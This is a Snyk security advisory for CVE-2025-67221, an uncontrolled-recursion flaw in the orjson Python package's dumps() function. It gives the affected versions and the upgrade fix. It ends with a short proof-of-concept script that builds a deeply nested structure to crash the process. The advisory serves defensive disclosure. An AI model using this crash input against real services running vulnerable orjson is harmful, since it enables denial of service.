Uncontrolled Recursion Affecting orjson package, versions [3.10.6,3.11.6)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-PYTHON-ORJSON-15123465
- published28 Jan 2026
- disclosed22 Jan 2026
- creditUnknown
Introduced: 22 Jan 2026
NewCVE-2025-67221 (opens in a new tab)How to fix?
Upgrade orjson to version 3.11.6 or higher.
Overview
Affected versions of this package are vulnerable to Uncontrolled Recursion in the dumps() function in formatter.rs. An attacker can cause a core dump by supplying a deeply nested JSON document.
PoC
import orjson
import sys
import platform
print(f'OS: {platform.platform()}')
print(f'Python version: {sys. version}')
print(f'orjson version: {orjson.__version__}')
nested = []
for i in range(100):
nested = [{"level": i, "next": nested}]
dumped = orjson.dumps(nested)